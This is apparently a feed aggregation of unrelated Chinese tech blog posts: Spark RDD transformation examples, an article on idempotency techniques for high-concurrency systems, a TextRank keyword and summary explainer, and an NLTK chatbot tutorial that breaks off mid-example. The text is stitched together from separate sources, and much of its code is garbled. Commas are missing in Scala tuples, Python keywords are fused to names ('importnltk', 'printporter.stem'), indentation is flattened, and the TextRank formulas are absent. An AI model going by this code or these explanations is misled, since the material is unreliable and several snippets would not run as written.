    groupByKeyRDD.foreach(println)
    sc.stop
    输出:
    (B,CompactBuffer(2, 3))
    (A,CompactBuffer(1, 2))
     
    以上foldByKey,reduceByKey,groupByKey函数最终都是通过调用combineByKey函数实现的
     
    7.sortByKey(accending,numPartitions):返回以Key排序的(K,V)键值对组成的RDD,accending为true时表示升序,为false时表示降序,numPartitions设置分区数,提高作业并行度
    例7:
    1
    2
    3
    4
    5
    6
    //省略sc
    val arr = List(("A",1),("B",2),("A",2),("B",3))
    val rdd = sc.parallelize(arr)
    val sortByKeyRDD = rdd.sortByKey()
    sortByKeyRDD.foreach(println)
    sc.stop
    输出:
    (A,1)
    (A,2)
    (B,2)
    (B,3)
     
    8.cogroup(otherDataSet,numPartitions):对两个RDD(如:(K,V)和(K,W))相同Key的元素先分别做聚合,最后返回(K,Iterator<V>,Iterator<W>)形式的RDD,numPartitions设置分区数,提高作业并行度
    例8:
    1
    2
    3
    4
    5
    6
    7
    8
    //省略
    val arr = List(("A"1), ("B"2), ("A"2), ("B"3))
    val arr1 = List(("A""A1"), ("B""B1"), ("A""A2"), ("B""B2"))
    val rdd1 = sc.parallelize(arr, 3)
    val rdd2 = sc.parallelize(arr1, 3)
    val groupByKeyRDD = rdd1.cogroup(rdd2)
    groupByKeyRDD.foreach(println)
    sc.stop
    输出:
    (B,(CompactBuffer(2, 3),CompactBuffer(B1, B2)))
    (A,(CompactBuffer(1, 2),CompactBuffer(A1, A2)))
    (RDD依赖图)
     
     
    9.join(otherDataSet,numPartitions):对两个RDD先进行cogroup操作形成新的RDD,再对每个Key下的元素进行笛卡尔积,numPartitions设置分区数,提高作业并行度
    例9
    1
    2
    3
    4
    5
    6
    7
    //省略
    val arr = List(("A"1), ("B"2), ("A"2), ("B"3))
    val arr1 = List(("A""A1"), ("B""B1"), ("A""A2"), ("B""B2"))
    val rdd = sc.parallelize(arr, 3)
    val rdd1 = sc.parallelize(arr1, 3)
    val groupByKeyRDD = rdd.join(rdd1)
    groupByKeyRDD.foreach(println)
    输出:
    复制代码
    (B,(2,B1))
    (B,(2,B2))
    (B,(3,B1))
    (B,(3,B2))
    (A,(1,A1))
    (A,(1,A2))
    (A,(2,A1))
    (A,(2,A2)
    复制代码
    (RDD依赖图)
     
     
    10.LeftOutJoin(otherDataSet,numPartitions):左外连接,包含左RDD的所有数据,如果右边没有与之匹配的用None表示,numPartitions设置分区数,提高作业并行度
    例10:
    1
    2
    3
    4
    5
    6
    7
    8
    //省略
    val arr = List(("A"1), ("B"2), ("A"2), ("B"3),("C",1))
    val arr1 = List(("A""A1"), ("B""B1"), ("A""A2"), ("B""B2"))
    val rdd = sc.parallelize(arr, 3)
    val rdd1 = sc.parallelize(arr1, 3)
    val leftOutJoinRDD = rdd.leftOuterJoin(rdd1)
    leftOutJoinRDD .foreach(println)
    sc.stop
    输出:
    复制代码
    (B,(2,Some(B1)))
    (B,(2,Some(B2)))
    (B,(3,Some(B1)))
    (B,(3,Some(B2)))
    (C,(1,None))
    (A,(1,Some(A1)))
    (A,(1,Some(A2)))
    (A,(2,Some(A1)))
    (A,(2,Some(A2)))
    复制代码
     
    11.RightOutJoin(otherDataSet, numPartitions):右外连接,包含右RDD的所有数据,如果左边没有与之匹配的用None表示,numPartitions设置分区数,提高作业并行度
    例11:
    1
    2
    3
    4
    5
    6
    7
    8
    //省略
    val arr = List(("A"1), ("B"2), ("A"2), ("B"3))
    val arr1 = List(("A""A1"), ("B""B1"), ("A""A2"), ("B""B2"),("C","C1"))
    val rdd = sc.parallelize(arr, 3)
    val rdd1 = sc.parallelize(arr1, 3)
    val rightOutJoinRDD = rdd.rightOuterJoin(rdd1)
    rightOutJoinRDD.foreach(println)
    sc.stop
    输出:
    复制代码
    (B,(Some(2),B1))
    (B,(Some(2),B2))
    (B,(Some(3),B1))
    (B,(Some(3),B2))
    (C,(None,C1))
    (A,(Some(1),A1))
    (A,(Some(1),A2))
    (A,(Some(2),A1))
    (A,(Some(2),A2))
    复制代码

     

    以上例子源码地址:https://github.com/Mobin-F/SparkExample/tree/master/src/main/scala/com/mobin/SparkRDDFun/TransFormation/RDDBase

    高并发的核心技术-幂等的实现方案 - 无量的IT生活 - ITeye博客

    $
    0
    0
    高并发的核心技术-幂等的实现方案



    一、背景

    我们实际系统中有很多操作,是不管做多少次,都应该产生一样的效果或返回一样的结果。

    例如:




    1. 前端重复提交选中的数据,应该后台只产生对应这个数据的一个反应结果。

    2. 我们发起一笔付款请求,应该只扣用户账户一次钱,当遇到网络重发或系统bug重发,也应该只扣一次钱;

    3. 发送消息,也应该只发一次,同样的短信发给用户,用户会哭的;

    4. 创建业务订单,一次业务请求只能创建一个,创建多个就会出大问题。




    等等很多重要的情况,这些逻辑都需要幂等的特性来支持。



    二、幂等性概念


    幂等(idempotent、idempotence)是一个数学与计算机学概念,常见于抽象代数中。



    在编程中.一个幂等操作的特点是其任意多次执行所产生的影响均与一次执行的影响相同。幂等函数,或幂等方法,是指可以使用相同参数重复执行,并能获得相同结果的函数。这些函数不会影响系统状态,也不用担心重复执行会对系统造成改变。例如,“getUsername()和setTrue()”函数就是一个幂等函数.




    更复杂的操作幂等保证是利用唯一交易号(流水号)实现.



    我的理解:幂等就是一个操作,不论执行多少次,产生的效果和返回的结果都是一样的





    三、技术方案

    1. 查询操作

    查询一次和查询多次,在数据不变的情况下,查询结果是一样的。select是天然的幂等操作



    2. 删除操作

    删除操作也是幂等的,删除一次和多次删除都是把数据删除。(注意可能返回结果不一样,删除的数据不存在,返回0,删除的数据多条,返回结果多个)



    3.唯一索引,防止新增脏数据

    比如:支付宝的资金账户,支付宝也有用户账户,每个用户只能有一个资金账户,怎么防止给用户创建资金账户多个,那么给资金账户表中的用户ID加唯一索引,所以一个用户新增成功一个资金账户记录



    要点:

    唯一索引或唯一组合索引来防止新增数据存在脏数据

    (当表存在唯一索引,并发时新增报错时,再查询一次就可以了,数据应该已经存在了,返回结果即可)




    4. token机制,防止页面重复提交

    业务要求:

    页面的数据只能被点击提交一次

    发生原因:

    由于重复点击或者网络重发,或者nginx重发等情况会导致数据被重复提交

    解决办法:

    集群环境:采用token加redis(redis单线程的,处理需要排队)

    单JVM环境:采用token加redis或token加jvm内存


    处理流程:

    1. 数据提交前要向服务的申请token,token放到redis或jvm内存,token有效时间

    2. 提交后后台校验token,同时删除token,生成新的token返回


    token特点:

    要申请,一次有效性,可以限流



    注意:redis要用删除操作来判断token,删除成功代表token校验通过,如果用select+delete来校验token,存在并发问题,不建议使用



    5. 悲观锁

    获取数据的时候加锁获取

    select * from table_xxx where id='xxx' for update;


    注意:id字段一定是主键或者唯一索引,不然是锁表,会死人的

    悲观锁使用时一般伴随事务一起使用,数据锁定时间可能会很长,根据实际情况选用




    6. 乐观锁

    乐观锁只是在更新数据那一刻锁表,其他时间不锁表,所以相对于悲观锁,效率更高。



    乐观锁的实现方式多种多样可以通过version或者其他状态条件:

    1. 通过版本号实现

    update table_xxx set name=#name#,version=version+1 where version=#version#

    如下图(来自网上):







    2. 通过条件限制

    update table_xxx set avai_amount=avai_amount-#subAmount# where avai_amount-#subAmount# >= 0


    要求:quality-#subQuality# >= ,这个情景适合不用版本号,只更新是做数据安全校验,适合库存模型,扣份额和回滚份额,性能更高



    注意:乐观锁的更新操作,最好用主键或者唯一索引来更新,这样是行锁,否则更新时会锁表,上面两个sql改成下面的两个更好

    update table_xxx set name=#name#,version=version+1 where id=#id# and version=#version#

    update table_xxx set avai_amount=avai_amount-#subAmount# where id=#id# and avai_amount-#subAmount# >= 0




    7. 分布式锁

    还是拿插入数据的例子,如果是分布是系统,构建全局唯一索引比较困难,例如唯一性的字段没法确定,这时候可以引入分布式锁,通过第三方的系统(redis或zookeeper),在业务系统插入数据或者更新数据,获取分布式锁,然后做操作,之后释放锁,这样其实是把多线程并发的锁的思路,引入多多个系统,也就是分布式系统中得解决思路。



    要点:某个长流程处理过程要求不能并发执行,可以在流程执行之前根据某个标志(用户ID+后缀等)获取分布式锁,其他流程执行时获取锁就会失败,也就是同一时间该流程只能有一个能执行成功,执行完成后,释放分布式锁(分布式锁要第三方系统提供)



    8. select + insert

    并发不高的后台系统,或者一些任务JOB,为了支持幂等,支持重复执行,简单的处理方法是,先查询下一些关键数据,判断是否已经执行过,在进行业务处理,就可以了

    注意:核心高并发流程不要用这种方法



    9. 状态机幂等

    在设计单据相关的业务,或者是任务相关的业务,肯定会涉及到状态机(状态变更图),就是业务单据上面有个状态,状态在不同的情况下会发生变更,一般情况下存在有限状态机,这时候,如果状态机已经处于下一个状态,这时候来了一个上一个状态的变更,理论上是不能够变更的,这样的话,保证了有限状态机的幂等。



    注意:订单等单据类业务,存在很长的状态流转,一定要深刻理解状态机,对业务系统设计能力提高有很大帮助



    10. 对外提供接口的api如何保证幂等

    如银联提供的付款接口:需要接入商户提交付款请求时附带:source来源,seq序列号

    source+seq在数据库里面做唯一索引,防止多次付款,(并发时,只能处理一个请求)



    重点:

    对外提供接口为了支持幂等调用,接口有两个字段必须传,一个是来源source,一个是来源方序列号seq,这个两个字段在提供方系统里面做联合唯一索引,这样当第三方调用时,先在本方系统里面查询一下,是否已经处理过,返回相应处理结果;没有处理过,进行相应处理,返回结果。注意,为了幂等友好,一定要先查询一下,是否处理过该笔业务,不查询直接插入业务系统,会报错,但实际已经处理了。






    总结:

    幂等性应该是合格程序员的一个基因,在设计系统时,是首要考虑的问题,尤其是在像支付宝,银行,互联网金融公司等涉及的都是钱的系统,既要高效,数据也要准确,所以不能出现多扣款,多打款等问题,这样会很难处理,用户体验也不好









    ElasticSearch 2 (18) - 深入搜索系列之控制相关度 - Richaaaard - 博客园

    TextRank算法提取关键词和摘要 - 小昇的博客 | Xs Blog

    $
    0
    0

    提到从文本中提取关键词,我们第一想到的肯定是通过计算词语的TF-IDF值来完成,简单又粗暴。但是由于 TF-IDF 的结构过于简单,有时提取关键词的效果会很不理想。

    本文将介绍一个由 Google 著名的网页排序算法PageRank改编而来的算法——TextRank,它利用图模型来提取文章中的关键词。

    PageRank

    PageRank 是一种通过网页之间的超链接来计算网页重要性的技术,以 Google 创办人 Larry Page 之姓来命名,Google 用它来体现网页的相关性和重要性。PageRank 通过网络浩瀚的超链接关系来确定一个页面的等级,把从 A 页面到 B 页面的链接解释为 A 页面给 B 页面投票,Google 根据 A 页面(甚至链接到 A 的页面)的等级和投票目标的等级来决定 B 的等级。简单的说,一个高等级的页面可以使其他低等级页面的等级提升。

    整个互联网可以看作是一张有向图图,网页是图中的节点,网页之间的链接就是图中的边。如果网页 A 存在到网页 B 的链接,那么就有一条从网页 A 指向网页 B 的有向边。

    构造完图后,使用下面的公式来计算网页 $i$ 的重要性(PR值):

    $d$ 是阻尼系数,一般设置为 0.85。$In(V_i)$ 是存在指向网页 $i$ 的链接的网页集合。$Out(V_j)$ 是网页 $j$ 中的链接指向的网页的集合。$|Out(V_j)|$ 是集合中元素的个数。PageRank 需要使用上面的公式多次迭代才能得到结果。初始时,可以设置每个网页的重要性为 1。

    TextRank

    TextRank 公式在 PageRank 公式的基础上,为图中的边引入了权值的概念:

    $w_{ij}$ 就是是为图中节点 $V_i$ 到 $V_j$ 的边的权值 。$d$ 依然为阻尼系数,代表从图中某一节点指向其他任意节点的概率,一般取值为0.85。$In(V_i)$ 和 $Out(V_i)$ 也和 PageRank 类似,分别为指向节点 $V_i$ 的节点集合和从节点 $V_i$ 出发的边指向的节点集合。

    在 TextRank 构建的图中,默认节点就是句子,权值 $w_{ij}$ 就是两个句子 $S_i$ 和 $S_j$ 的相似程度。两个句子的相似度使用下面的公式来计算:

    分子是在两个句子中都出现的单词的数量,$|S_i|$是句子 i 中的单词数。

    使用 TextRank 算法计算图中各节点的得分时,同样需要给图中的节点指定任意的初值,通常都设为1。然后递归计算直到收敛,即图中任意一点的误差率小于给定的极限值时就可以达到收敛,一般该极限值取 0.0001。

    使用 TextRank 提取关键词

    现在是要提取关键词,如果把单词视作图中的节点(即把单词看成句子),那么所有边的权值都为 0(两个单词没有相似性),所以通常简单地把所有的权值都设为 1。此时算法退化为 PageRank,因而把关键字提取算法称为 PageRank 也不为过。

    我们把文本拆分为单词,过滤掉停用词(可选),并只保留指定词性的单词(可选),就得到了单词的集合。假设一段文本依次由下面的单词组成:

    如果我们设定窗口大小为 $k$,那么 $[w_1,w_2,…,w_k]$、$[w_2,w_3,…,w_{k+1}]$、$[w_3,w_4,…,w_{k+2}]$ 等都是一个窗口。

    现在将每个单词作为图中的一个节点,同一个窗口中的任意两个单词对应的节点之间存在着一条边。然后利用投票的原理,将边看成是单词之间的互相投票,经过不断迭代,每个单词的得票数都会趋于稳定。一个单词的得票数越多,就认为这个单词越重要。

    例如要从下面的文本中提取关键词:

    程序员(英文Programmer)是从事程序开发、维护的专业人员。一般将程序员分为程序设计人员和程序编码人员,但两者的界限并不非常清楚,特别是在中国。软件从业人员分为初级程序员、高级程序员、系统分析员和项目经理四大类。

    对这句话分词,去掉里面的停用词,然后保留词性为名词、动词、形容词、副词的单词。得出实际有用的词语:

    程序员, 英文, 程序, 开发, 维护, 专业, 人员, 程序员, 分为, 程序, 设计, 人员, 程序, 编码, 人员, 界限, 特别, 中国, 软件, 人员, 分为, 程序员, 高级, 程序员, 系统, 分析员, 项目, 经理

    现在建立一个大小为 9 的窗口,即相当于每个单词要将票投给它身前身后距离 5 以内的单词:

    开发=[专业, 程序员, 维护, 英文, 程序, 人员]
    软件=[程序员, 分为, 界限, 高级, 中国, 特别, 人员]
    程序员=[开发, 软件, 分析员, 维护, 系统, 项目, 经理, 分为, 英文, 程序, 专业, 设计, 高级, 人员, 中国]
    分析员=[程序员, 系统, 项目, 经理, 高级]
    维护=[专业, 开发, 程序员, 分为, 英文, 程序, 人员]
    系统=[程序员, 分析员, 项目, 经理, 分为, 高级]
    项目=[程序员, 分析员, 系统, 经理, 高级]
    经理=[程序员, 分析员, 系统, 项目]
    分为=[专业, 软件, 设计, 程序员, 维护, 系统, 高级, 程序, 中国, 特别, 人员]
    英文=[专业, 开发, 程序员, 维护, 程序]
    程序=[专业, 开发, 设计, 程序员, 编码, 维护, 界限, 分为, 英文, 特别, 人员]
    特别=[软件, 编码, 分为, 界限, 程序, 中国, 人员]
    专业=[开发, 程序员, 维护, 分为, 英文, 程序, 人员]
    设计=[程序员, 编码, 分为, 程序, 人员]
    编码=[设计, 界限, 程序, 中国, 特别, 人员]
    界限=[软件, 编码, 程序, 中国, 特别, 人员]
    高级=[程序员, 软件, 分析员, 系统, 项目, 分为, 人员]
    中国=[程序员, 软件, 编码, 分为, 界限, 特别, 人员]
    人员=[开发, 程序员, 软件, 维护, 分为, 程序, 特别, 专业, 设计, 编码, 界限, 高级, 中国]

    然后开始迭代投票,直至收敛:

    程序员=1.9249977,
    人员=1.6290349,
    分为=1.4027836,
    程序=1.4025855,
    高级=0.9747374,
    软件=0.93525416,
    中国=0.93414587,
    特别=0.93352026,
    维护=0.9321688,
    专业=0.9321688,
    系统=0.885048,
    编码=0.82671607,
    界限=0.82206935,
    开发=0.82074183,
    分析员=0.77101076,
    项目=0.77101076,
    英文=0.7098714,
    设计=0.6992446,
    经理=0.64640945

    可以看到“程序员”的得票数最多,因而它是整段文本最重要的单词。我们将文本中得票数多的若干单词作为该段文本的关键词,若多个关键词相邻,这些关键词还可以构成关键短语。

    使用 TextRank 提取摘要

    自动摘要,就是从文章中自动抽取关键句。人类对关键句的理解通常是能够概括文章中心的句子,而机器只能模拟人类的理解,即拟定一个权重的评分标准,给每个句子打分,之后给出排名靠前的几个句子。基于 TextRank 的自动文摘属于自动摘录,通过选取文本中重要度较高的句子形成文摘。

    依然使用 TextRank 公式:

    等式左边表示一个句子的权重(WS 是 weight_sum 的缩写),右侧的求和表示每个相邻句子对本句子的贡献程度。与提取关键字的时候不同,一般认为全部句子都是相邻的,不再通过窗口提取

    边的权值 $w_{ij}$ 代表句子 $S_i$ 和 $S_j$ 的相似度,既可以使用上面介绍过的基于句子间内容覆盖率的方法计算,也可以使用基于编辑距离,基于语义词典,余弦相似度,BM25 算法等等。

    因为我们是要抽取关键句,因而是以句子为基本单位。使用 TextRank 提取摘要的整个过程如下:

    1. 预处理:将文本分割成句子 $S_1,S_2,\cdots,S_m$,以句子为节点构建图。
    2. 计算句子相似度:对句子进行分词、取停用词等处理,以便于计算任意两个句子之间的相似度。将计算好的句子相似度作为两个句子构成的边的权值。
    3. 句子权重:根据公式,迭代传播权重计算各句子的得分。
    4. 抽取文摘句:得到的句子得分进行倒序排序,抽取重要度最高的 N 个句子作为候选文摘句。
    5. 形成文摘:根据字数或句子数要求,从候选文摘句中抽取句子组成文摘。

    开源项目

    • 乐天使用 Python 编写的TextRank4ZH,可以用来从文本中提取关键词和摘要(关键句)。
    • Hankcs 使用 Java 编写的全功能汉语言处理包HanLP,提供了“TextRank关键词提取”和“TextRank自动摘要”的功能。
    • 啊哈自然语言处理包AHANLP,句子之间的相似程度使用 Word2Vec 提供的函数计算。

    参考

    维基百科《佩奇排名》

    乐天《使用TextRank算法为文本生成关键字和摘要》

    Hankcs《TextRank算法提取关键词的Java实现》

    Hankcs《TextRank算法自动摘要的Java实现》

    flystarhe《TextRank探索与实践》

    bbking《TextRank 自动文摘》

      聊天机器人学习 | 李强的博客

      $
      0
      0

      原文

      涉及知识

      人工智能一直以来是人类的梦想,造一台可以为你做一切事情并且有情感的机器人,像哆啦A梦一样,现在这已经不是一个梦了:iPhone里会说话的siri、会下棋的阿法狗、小度机器人、大白……,他们都能够具有智能,和人类交互,帮人类解决问题,这听起来非常神奇,实际上我们自己也可以做一个这样的机器人,从今天开始分享我将我学习和制作的过程

      智能机器人可以做到的事情可以很复杂:文字、语音、视频识别与合成;自然语言理解、人机对话;以及驱动硬件设备形成的“机器”人。作为一个只有技术和时间而没有金钱的IT人士,我仅做自然语言和人工智能相关的内容,不涉及硬件,也不涉及不擅长的多媒体识别和合成。所以索性就做一个可以和你说话,帮你解决问题的聊天机器人吧。

      聊天机器人涉及到的知识主要是自然语言处理,当然这包括了:语言分析和理解、语言生成、机器学习、人机对话、信息检索、信息传输与信息存储、文本分类、自动文摘、数学方法、语言资源、系统评测等内容,同时少不了的是支撑着一切的编程技术

      在我的桌上摆了很多有关自然语言处理、机器学习、深度学习、数学等方面的书籍,为了和大家分享我的经历、学到的知识和每一阶段的成果,我每天会花两个小时以上时间或翻书或总结或编码或整理或写文章,或许文章几天才能更新一篇,但我希望每一篇都是有价值的,或许文章里的知识讲解的不是非常深入,但我希望可以为你指明方向,对于晦涩难懂的内容,我尽量用简朴幽默的方式说出来,目的就是让每一位读者都能有收获,并朝着我们的目标一起前进。

      初识NLTK库

      安装和使用

      安装

      1
      pip install nltk

      下载数据

      1
      2
      importnltk
      nltk.download()

      选择book下载,下载较慢,推荐找网络资源。

      使用

      1
      from nltk.book import *

      你会看到可以正常加载书籍如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      *** Introductory Examples for the NLTK Book ***
      Loading text1, ..., text9 and sent1, ..., sent9
      Type the name of the text or sentence to view it.
      Type: 'texts()' or 'sents()' to list the materials.
      text1: Moby Dick by Herman Melville 1851
      text2: Sense and Sensibility by Jane Austen 1811
      text3: The Book of Genesis
      text4: Inaugural Address Corpus
      text5: Chat Corpus
      text6: Monty Python and the Holy Grail
      text7: Wall Street Journal
      text8: Personals Corpus
      text9: The Man Who Was Thursday by G . K . Chesterton 1908

      这里面的text*都是一个一个的书籍节点,直接输入text1会输出书籍标题:

      1
      text1
      1
      <Text: Moby Dick by Herman Melville 1851>

      搜索文本

      执行

      1
      text1.concordance("former")

      会显示20个包含former的语句上下文

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      Displaying 20 of 20 matches:
      s of the sea , appeared . Among the former , one was of a most monstrous size
      ce , borrowed from the chaplain ' s former sea - farings . Between the marble
      s him with a fresh lance , when the former one has been badly twisted , or elb
      , though smaller than those of the former order , nevertheless retain a propo
      fficial is still retained , but his former dignity is sadly abridged . At pres
      tested reality of his might had in former legendary times thrown its shadow b
      g associated with the experience of former perils ; for what knows he , this N
      ns and places in which , on various former voyages of various ships , sperm wh
      . So that though Moby Dick had in a former year been seen , for example , on w
      ed by the defection of seven of his former associates , and stung by the mocki
      no part in the mutiny , he told the former that he had a good mind to flog the
      so for ever got the start of their former captain , had he been at all minded
      head is cut off whole , but in the former the lips and tongue are separately
      nd the right . While the ear of the former has an external opening , that of t
      in small detached companies , as in former times , are now frequently met with
      ence on the coast of Greenland , in former times , of a Dutch village called S
      x months before he wheeled out of a former equinox at Aries ! From storm to st
      Sperm Whale , for example , that in former years ( the latter part of the last
      les no longer haunt many grounds in former years abounding with them , hence t
      ering was but the direct issue of a former woe ; and he too plainly seemed to

      我们还可以搜索相关词,比如:

      1
      text1.similar("ship")
      1
      2
      whale boat sea captain world way head time crew man other pequod line
      deck body fishery air boats side voyage

      输入了ship,查找了boat,都是近义词

      我们还可以查看某个词在文章里出现的位置:

      1
      text4.dispersion_plot(["citizens","democracy","freedom","duties","America"])

      词统计

      len(text1):返回总字数

      set(text1):返回文本的所有词集合

      len(set(text4)):返回文本总词数

      text4.count(“is”):返回“is”这个词出现的总次数

      FreqDist(text1):统计文章的词频并按从大到小排序存到一个列表里

      fdist1 = FreqDist(text1);fdist1.plot(50, cumulative=True):统计词频,并输出累计图像

      纵轴表示累加了横轴里的词之后总词数是多少,这样看来,这些词加起来几乎达到了文章的总词数

      fdist1.hapaxes():返回只出现一次的词

      text4.collocations():频繁的双联词

      自然语言处理关键点

      词意理解:中国队大胜美国队;中国队大败美国队。“胜”、“败”一对反义词,却表达同样的意思:中国赢了,美国输了。这需要机器能够自动分析出谁胜谁负

      自动生成语言:自动生成语言基于语言的自动理解,不理解就无法自动生成

      机器翻译:现在机器翻译已经很多了,但是还很难达到最佳,比如我们把中文翻译成英文,再翻译成中文,再翻译成英文,来回10轮,发现和最初差别还是非常大的。

      人机对话:这也是我们想做到的最终目标,这里有一个叫做“图灵测试”的方式,也就是在5分钟之内回答提出问题的30%即通过,能通过则认为有智能了。

      自然语言处理分两派,一派是基于规则的,也就是完全从语法句法等出发,按照语言的规则来分析和处理,这在上个世纪经历了很多年的试验宣告失败,因为规则太多太多,而且很多语言都不按套路出牌,想象你追赶你的影子,你跑的快他跑的更快,你永远都追不上它。另一派是基于统计的,也就是收集大量的语料数据,通过统计学习的方式来理解语言,这在当代越来越受重视而且已经成为趋势,因为随着硬件技术的发展,大数据存储和计算已经不是问题,无论有什么样的规则,语言都是有统计规律的,当然基于统计也存在缺陷,那就是“小概率事件总是不会发生的”导致总有一些问题解决不了。

      下一节我们就基于统计的方案来解决语料的问题。

      语料与词汇资源

      当代自然语言处理都是基于统计的,统计自然需要很多样本,因此语料和词汇资源是必不可少的,本节介绍语料和词汇资源的重要性和获取方式

      NLTK语料库

      NLTK包含多种语料库,举一个例子:Gutenberg语料库,执行:

      1
      2
      importnltk
      nltk.corpus.gutenberg.fileids()

      返回Gutenberg语料库的文件标识符

      1
      [u'austen-emma.txt', u'austen-persuasion.txt', u'austen-sense.txt', u'bible-kjv.txt', u'blake-poems.txt', u'bryant-stories.txt', u'burgess-busterbrown.txt', u'carroll-alice.txt', u'chesterton-ball.txt', u'chesterton-brown.txt', u'chesterton-thursday.txt', u'edgeworth-parents.txt', u'melville-moby_dick.txt', u'milton-paradise.txt', u'shakespeare-caesar.txt', u'shakespeare-hamlet.txt', u'shakespeare-macbeth.txt', u'whitman-leaves.txt']

      nltk.corpus.gutenberg就是gutenberg语料库的阅读器,它有很多实用的方法,比如:

      nltk.corpus.gutenberg.raw('chesterton-brown.txt'):输出chesterton-brown.txt文章的原始内容

      nltk.corpus.gutenberg.words('chesterton-brown.txt'):输出chesterton-brown.txt文章的单词列表

      nltk.corpus.gutenberg.sents('chesterton-brown.txt'):输出chesterton-brown.txt文章的句子列表

      类似的语料库还有:

      from nltk.corpus import webtext:网络文本语料库,网络和聊天文本

      from nltk.corpus import brown:布朗语料库,按照文本分类好的500个不同来源的文本

      from nltk.corpus import reuters:路透社语料库,1万多个新闻文档

      from nltk.corpus import inaugural:就职演说语料库,55个总统的演说

      语料库的一般结构

      以上各种语料库都是分别建立的,因此会稍有一些区别,但是不外乎以下几种组织结构:散养式(孤立的多篇文章)、分类式(按照类别组织,相互之间没有交集)、交叉式(一篇文章可能属于多个类)、渐变式(语法随着时间发生变化)

      语料库的通用接口

      fileids():返回语料库中的文件

      categories():返回语料库中的分类

      raw():返回语料库的原始内容

      words():返回语料库中的词汇

      sents():返回语料库句子

      abspath():指定文件在磁盘上的位置

      open():打开语料库的文件流

      加载自己的语料库

      收集自己的语料文件(文本文件)到某路径下(比如/tmp),然后执行:

      1
      2
      3
      4
      from nltk.corpus import PlaintextCorpusReader
      corpus_root = '/tmp'
      wordlists = PlaintextCorpusReader(corpus_root, '.*')
      wordlists.fileids()

      就可以列出自己语料库的各个文件了,也可以使用如wordlists.sents('a.txt')wordlists.words('a.txt')等方法来获取句子和词信息

      条件频率分布

      条件分布大家都比较熟悉了,就是在一定条件下某个事件的概率分布。自然语言的条件频率分布就是指定条件下某个事件的频率分布。

      比如要输出在布朗语料库中每个类别条件下每个词的概率:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      # coding:utf-8
      import sys
      reload(sys)
      sys.setdefaultencoding( "utf-8" )
      import nltk
      from nltk.corpus import brown
      # 链表推导式,genre是brown语料库里的所有类别列表,word是这个类别中的词汇列表
      # (genre, word)就是类别加词汇对
      genre_word = [(genre, word)
      for genre in brown.categories()
      for word in brown.words(categories=genre)
      ]
      # 创建条件频率分布
      cfd = nltk.ConditionalFreqDist(genre_word)
      # 指定条件和样本作图
      cfd.plot(conditions=['news','adventure'], samples=[u'stock', u'sunbonnet', u'Elevated', u'narcotic', u'four', u'woods', u'railing', u'Until', u'aggression', u'marching', u'looking', u'eligible', u'electricity', u'$25-a-plate', u'consulate', u'Casey', u'all-county', u'Belgians', u'Western', u'1959-60', u'Duhagon', u'sinking', u'1,119', u'co-operation', u'Famed', u'regional', u'Charitable', u'appropriation', u'yellow', u'uncertain', u'Heights', u'bringing', u'prize', u'Loen', u'Publique', u'wooden', u'Loeb', u'963', u'specialties', u'Sands', u'succession', u'Paul', u'Phyfe'])

      注意:这里如果把plot直接换成tabulate ,那么就是输出表格形式,和图像表达的意思相同

      我们还可以利用条件频率分布,按照最大条件概率生成双连词,最终生成一个随机文本

      这可以直接使用bigrams()函数,它的功能是生成词对链表。

      创建python文件如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      # coding:utf-8
      import sys
      reload(sys)
      sys.setdefaultencoding( "utf-8" )
      import nltk
      # 循环10次,从cfdist中取当前单词最大概率的连词,并打印出来
      def generate_model(cfdist, word, num=10):
      for i in range(num):
      print word,
      word = cfdist[word].max()
      # 加载语料库
      text = nltk.corpus.genesis.words('english-kjv.txt')
      # 生成双连词
      bigrams = nltk.bigrams(text)
      # 生成条件频率分布
      cfd = nltk.ConditionalFreqDist(bigrams)
      # 以the开头,生成随机串
      generate_model(cfd, 'the')

      执行效果如下:

      1
      the land of the land of the land of the

      the的最大概率的双连词是land,land最大概率双连词是of,of最大概率双连词是the,所以后面就循环了

      其他词典资源

      有一些仅是词或短语以及一些相关信息的集合,叫做词典资源。

      词汇列表语料库:nltk.corpus.words.words(),所有英文单词,这个可以用来识别语法错误

      停用词语料库:nltk.corpus.stopwords.words,用来识别那些最频繁出现的没有意义的词

      发音词典:nltk.corpus.cmudict.dict(),用来输出每个英文单词的发音

      比较词表:nltk.corpus.swadesh,多种语言核心200多个词的对照,可以作为语言翻译的基础

      同义词集:WordNet,面向语义的英语词典,由同义词集组成,并组织成一个网络

      何须动手?完全自动化对语料做词性标注

      全人工对语料做词性标注就像蚂蚁一样忙忙碌碌,是非常耗费声明的,如果有一个机器能够完全自动化地,给它一篇语料,它迅速给你一片标注,这样才甚好,本节就来讨论一下怎么样能无需动手对语料做自动化的词性标注

      英文词干提取器

      1
      2
      3
      importnltk
      porter = nltk.PorterStemmer()
      printporter.stem('lying')

      输出lie

      词性标注器

      1
      2
      3
      importnltk
      text = nltk.word_tokenize("And now for something completely different")
      printnltk.pos_tag(text)
      1
      [('And', 'CC'), ('now', 'RB'), ('for', 'IN'), ('something', 'NN'), ('completely', 'RB'), ('different', 'JJ')]

      其中CC是连接词,RB是副词,IN是介词,NN是名次,JJ是形容词

      这是一句完整的话,实际上pos_tag是处理一个词序列,会根据句子来动态判断,比如:

      1
      printnltk.pos_tag(['i','love','you'])
      1
      [('i', 'NN'), ('love', 'VBP'), ('you', 'PRP')]`

      这里的love识别为动词

      而:

      1
      print nltk.pos_tag(['love','and','hate'])
      1
      [('love', 'NN'), ('and', 'CC'), ('hate', 'NN')]

      这里的love识别为名词

      nltk中多数都是英文的词性标注语料库,如果我们想自己标注一批语料库该怎么办呢?

      nltk提供了比较方便的方法:

      1
      2
      tagged_token = nltk.tag.str2tuple('fly/NN')
      printtagged_token
      1
      ('fly', 'NN')

      这里的nltk.tag.str2tuple可以把fly/NN这种字符串转成一个二元组,事实上nltk的语料库中都是这种字符串形式的标注,那么我们如果把语料库标记成:

      1
      2
      sent ='我/NN 是/IN 一个/AT 大/JJ 傻×/NN'
      print[nltk.tag.str2tuple(t)fortinsent.split()]
      1
